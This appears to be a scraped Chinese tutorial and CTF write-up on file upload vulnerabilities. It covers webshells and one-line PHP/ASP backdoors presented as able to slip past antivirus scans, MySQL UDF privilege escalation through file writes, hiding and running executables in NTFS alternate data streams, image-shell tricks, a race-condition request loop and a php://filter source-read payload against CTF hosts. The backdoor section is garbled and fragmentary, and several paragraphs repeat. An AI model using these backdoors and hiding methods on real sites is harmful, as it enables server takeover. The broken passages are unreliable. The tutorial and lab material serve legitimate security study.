文件上传漏洞 (上传知识点、题型总结大全

您所在的位置:网站首页 js后缀 木马 文件上传漏洞 (上传知识点、题型总结大全

文件上传漏洞 (上传知识点、题型总结大全

2023-09-02 18:39| 来源: 网络整理| 查看: 265

文件上传漏洞 什么是文件上传漏洞什么是webshell一句话木马大全产生文件上传漏洞的原因文件上传漏洞的攻击与防御方式1.前端限制2.检查扩展名1.黑名单策略,2.白名单策略 3.检查Content-Type4.文件头检查文件5.限制Web Server对特定类型文件的行为6.文件系统00截断7.windows NTFS文件系统特性绕过8.二次渲染绕过9.条件竞争10.其它方式—绕过 靶场实战CTF实战-知识补充Easy Gallerybugku ctf之文件上传2 文件上传漏洞防御结语

==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ====

什么是文件上传漏洞

文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ====

什么是webshell

WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称之为一种网页后门。攻击者在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器web目录下正常的网页文件混在一起,然后使用浏览器来访问这些后门,得到一个命令执行环境,以达到控制网站服务器的目的(可以上传下载或者修改文件,操作数据库,执行任意命令等)。 WebShell后门隐蔽较性高,可以轻松穿越防火墙,访问WebShell时不会留下系统日志,只会在网站的web日志中留下一些数据提交记录

==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ====

一句话木马大全

可跳过~~ 常用的webshell就是一句话木马,结合中国菜刀或者hackbar等工具可以很高效快捷的获得网站shell。

##PHP: php环境>= //容错代码 //使用Lanker一句话客户端的专家模式执行相关的PHP语句 /*使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入*/:h=@eval_r($_POST1); @eval_r($_POST[sb]) //绕过 上面这句是防杀防扫的!网上很少人用!可以插在网页任何ASP文件的最底部不会出错,比如 index.asp里面也是可以的! 加了判断的PHP一句话,与上面的ASP一句话相同道理,也是可以插在任何PHP文件 的最底部不会出错! 就是一句话。

mysql中的udf提权:

如果数据库用户对数据库mysql(注意指的是数据库里的默认库mysql)具有insert和delete权限,就可以创建加载自定义函数。 而又因为mysql服务是以system权限运行在windows主机上,所以这个时候我们就可以通过自定义函数以system权限执行命令了。

如果数据库用户对数据库mysql(注意指的是数据库里的默认库mysql)具有insert和delete权限,就可以创建加载自定义函数。 而又因为mysql服务是以system权限运行在windows主机上,所以这个时候我们就可以通过自定义函数以system权限执行命令了。

Mysql 5.0.67之前,DLL的导入目录是C:\windows\system32 从MySQL 5.1开始,要求目录必须是mysql目录下的lib\plugin\目录,而且mysql 5.1之后的常用安装版本是默认不存在lib\plugin目录的。

执行sql语句

show variables like '%plugin%';

查看目录位置。 利用ADS依次创建lib、plugin目录

select 'xxx' into outfile 'E:\\phpstudy\\PHPTutorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';

如果创建失败的话,执行

show variables like '%secure%';

看看secure_file_priv的值:

如果创建失败的话,执行

show variables like '%secure%';

看看secure_file_priv的值:

null表示限制mysqld不允许导入导出当secure_file_priv的值为/tmp/,表示限制mysqld 的导入导出只能在/tmp/目录下当secure_file_priv的值为空,表示不对mysqld的导入导出做限制 隐藏exe文件 type muma.txt test.txt:muma.exe

在xp中可以用start test.txt:muma.exe执行,但是win7以上这样执行会报错。win7及之后的系统的正确姿势如下: 创建一个符号链接文件test.exe,链接到寄生的交换数据流可执行文件test.txt:muma.exe上:mklink test.exe,test.txt:muma.exe,然后执行start test.exe /b即可 更新一个方法:

wmic process call create "C:\ProjectCode\test\test:putty.exe"

在WinXP中,可执行文件可以和文本文件一样实现真正的隐藏,这可能也是当时大多数杀毒软件添加数据流病毒查杀功能的原因;在Win7之后的系统中,微软可能出于安全考虑,不允许直接运行交换数据流可执行文件,必须要创建符号链接,这个符号链接是可见的(当然可以使用其他手段隐藏这个符号链接),并且这个符号链接创建出来后不能复制到其他地方,只能在创建的那个位置使用命令行方式调用(鼠标双击会报错)。

查看隐藏流文件

使用这两款小工具配合进行检测和清除寄生的交换数据流 https://pan.baidu.com/share/link?shareid=134850&uk=1108295926 labs.exe检测,streams.exe进行清理。 还有一个叫做AlternateStreamView的工具也可以

​ ​ ​

8.二次渲染绕过

感觉这个的知识点偏向文件格式分析(MISC)。在制作图片马的时候

往往是在图片后头附件一段php代码,或者是改包发送一个图片马。但是如果使用了二次渲染。我们上传的文件名称会被修改,并且文件末尾段一些冗余的信息(一句话木马)会被删除。

所以很明显,我们只需要将我们需要写入的东西塞在图片中间(虽然会使图片损坏,但是我们又不需要图片。。),用winhex或者是010editor等在文件内进行修改即可。

9.条件竞争

条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。

该漏洞一般出现在与数据库系统频繁交互的位置,例如金额同步、支付等较敏感操作处。另外条件竞争漏洞也会出现在其他位置,例如文件的操作处理等。

#-*-coding:utf-8-*- import threading COUNT = 0 def Run(threads_name): global COUNT read_value = COUNT print "COUNT in Thread-%s is %d" % (str(threads_name), read_value) COUNT = read_value + 1 def main(): threads = [] for j in range(10): t = threading.Thread(target=Run,args=(j,)) threads.append(t) t.start() for i in range(len(threads)): threads[i].join() print ("Finally, The COUNT is %d" % (COUNT,)) if __name__ == '__main__': main()

按照我们的预想,结果应该都是10,但是发现结果可能存在非预期解,并且出现非预期的概率还挺大的。

这是什么原因呢?

原因就在于我们没有对变量COUNT做同步制约,导致可能Thread-7在读COUNT,还没来得及更改COUNT,Thread-8抢夺资源,也来读COUNT,并且将COUNT修改为它读的结果+1,由此出现非预期。

同样的,WEB应用程序因为要为很多用户服务,势必要采用多线程,但是,如果种种原因导致线程间的同步机制没处理好,那么也就会导致非预期和条件竞争的漏洞。

例子:

例一:金额提现

假设现有一个用户在系统中共有2000元可以提现,他想全部提现。于是该用户同时发起两次提现请求,第一次提交请求提现2000元,系统已经创建了提现订单但还未来得及修改该用户剩余金额,此时第二次提现请求同样是提现2000元,于是程序在还未修改完上一次请求后的余额前就进行了余额判断,显然如果这里余额判断速度快于上一次余额修改速度,将会产生成功提现的两次订单,而数据库中余额也将变为-2000。而这产生的后果将会是平台多向该用户付出2000元

例二:moctf

打开网址后一直打开的是index2.php 修改为index.php后发现还是会跳转到index2 抓包修改index.php。 在这里插入图片描述

发现index.php是一个302网页,因此就可以看到这里存在的一个文件uploadsomething.php。 在这里插入图片描述

随便填写文件名下面写入代码,再进行提交。

访问后 在这里插入图片描述 因此这里就需要用到条件竞争,不断的向网站发送请求,然后边发送边访问。

写入一个py文件一直发requests即可

import requests url="http://119.23.73.3:5006/web2/uploads/b106f91010a3789acab1f27a00d67570052a7921/1.php" while 1: print (requests.get(url).text)

在这里插入图片描述

例三:XMAN-Easy Gallery

伪协议读取代码

http://202.112.51.184:8004/index.php?page=php://filter/read=convert.base64-encode/resource=upload.php



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3